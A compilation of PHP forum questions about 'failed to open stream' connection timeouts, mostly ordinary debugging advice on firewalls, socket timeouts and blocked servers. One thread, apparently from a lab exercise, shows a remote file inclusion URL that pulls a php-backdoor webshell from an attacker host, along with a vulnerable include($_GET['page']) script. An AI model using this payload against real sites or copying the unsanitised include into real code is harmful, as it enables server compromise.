File_get_content . Failed to open a stream - php

I am a PHP apprentice. And I have a problem I can not solve with my meager knowledge. Indeed, I want to open a page just by submitting my form. And every time I receive this message: "failed to open stream: A connection attempt failed because the connected party did not properly......". Would there be a reason for that? I remind you that I am fairly new to the language. This is my code :
My "You page" :
<?php
$query=file_get_contents('https://www.youtube.com/watch?v=SrqDqqy8Yok');
echo($query);
?>
And my form is just calling this page.
This is the entire answer when i want to submit my form :
Warning: file_get_contents(http://www.youtube.com/watch?v=XiFrfeJ8dKM): failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. in C:\xampp\htdocs\stpnet\You.php on line 2

pretty sure that it is an firewall problem. I have testet your code and it's working for me.
Or maybe you can try to set the allow_url_fopen in the php.ini file (but that would be another error message).

try to follow this code hopefully it will work.
$query= file_get_contents("https://www.youtube.com/watch?v=SrqDqqy8Yok",true)

Related

PHP: Warning: file_get_contents failed to open stream: Connection timed out error

I have Worked out what is causing the issue but I don't know what I need to do to fix it.
I updated the parent router and my code stopped working.
figured it was just a new IP issue so fixed that but still wouldn't work. ran the code manually and got the issue
Warning: file_get_contents failed to open stream: Connection timed out error
This code creates a web address that when sent updates my solar recordings.
I remote into the PI from my house and can paste the link in the browser and it works fine but something stopping it on the device itself.
I narrowed it down to the new router somehow blocking my script from sending a link.
I chucked the device into DMZ on the router and it works fine...
guessing I need to open some ports or allow something but don't know what. I don't want to keep the device in DMZ

RFI not working properly, how to open a shell?

When i am trying to backdoor a web page given to me to find a specific file, upon requesting a shell i am given the following warnings on the page, and no other information is given. Should a shell pop up? I am kind of new to RFI and this is my first time working through it.
The link i used is:
http://10.102.x.x/description.php?page=http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php
The display when searching it was:
Warning: include(http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php): failed to open stream: Connection refused in /var/www/html/description.php on line 5
Warning: include(): Failed opening 'http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5
description.php looks like this:
<?php
$image_name = $_GET['page'];
// Get the description from another file
include($image_name);
?>
What is the issue? I am sort of stuck.
Should i create a HTTP server to push my shell instead? I've read something about this but not sure what that entails
Even a link to an article is appreciated
I don't know how the php script looks like where you try go include the remote page, but it has to be something like:
$incfile = $_REQUEST["file"]; include($incfile.".php");

A PHP program access a website timout

My PHP program access a website which is very slow to open, therefore I get a warning message:
Warning: file_get_contents(http://www.example.com): failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. in C:\xampp\htdocs\mezi.php on line 155.
Line 155 code: $html = file_get_contents('http://www.example.com');
My question is: how to increase time allowed to wait for slow website? I have already increased allowed execution time by adding set_time_limit(100); to my code. But this does not help.
This is actually a socket session that's being created behind the scenes, therefore the correct value in php.ini would actually be
default_socket_timeout

simplexml_load_file failed to open stream: Connection timed out

This page of my site is taking 1 minute to load. Then I got this error:
"Warning:
simplexml_load_file(http://www.cpalead.com/dashboard/reports/campaign_rss.php?id=MyID&geoip=MyIP&show=6&offer_type=pinsubmit):
failed to open stream: Connection timed out in ../pass/pass.php on
line 125 Warning: simplexml_load_file()"
My code:
$call_url = 'http://www.cpalead.com/dashboard/reports/campaign_rss.php?id='.$user_id.'&geoip='.$ip.'&show=6'.'&offer_type=pinsubmit';
if($xml = simplexml_load_file($call_url, "SimpleXMLElement", LIBXML_NOCDATA))
What I've tried to fix that and didn't work:
Switch allow_url_fopen to ON in php.ini of my hosting.
set the max time out to 300 second instead of 120.
It's because the website has blocked your server, after they got too many requests from your server.
There is no solution until they unblock you voluntarily or upon your request (I am not sure they have a way to do that). But if you can move to another server, that can work, until they block that server also!
Golden rule is "Don't make too many requests to any specific site unless they have allowed you to do that by terms."

Warning: file_get_contents failed to open stream: Connection timed out in includes/simple_html_dom.php on line 75

All of a sudden my cronjob has stopped working properly where it grabs content through file_get_contents and started giving the following warning and fatal error. Does anyone know why it is doing this?:
Warning: file_get_contents(http://seriesgate.me/search/indv_episodes/The+Social+Network): failed to open stream: Connection timed out in includes/simple_html_dom.php on line 75
Fatal error: Call to a member function find() on a non-object in includes/seriesgate.class.php on line 25
Its working.
echo file_get_contents("http://seriesgate.me/search/indv_episodes/The+Social+Network");
It may be execution problem.
Try this
ini_set('max_execution_time', 300); //300 seconds = 5 minutes
echo file_get_contents("http://seriesgate.me/search/indv_episodes/The+Social+Network");
The Connection timed out error is a network problem for sure.
First, that's maybe your network connection problem take too long to get response from server. Please check your local/server/hosting internet connection; domain name, IP, port,... typo.
Secondly, that's maybe destination problem. For example, seriesgate.me is down for everyone, not only you. I know this question is 3 years old and the site is down. But this is best practice that you should check your destination when it's say something like Connection timed out.

Categories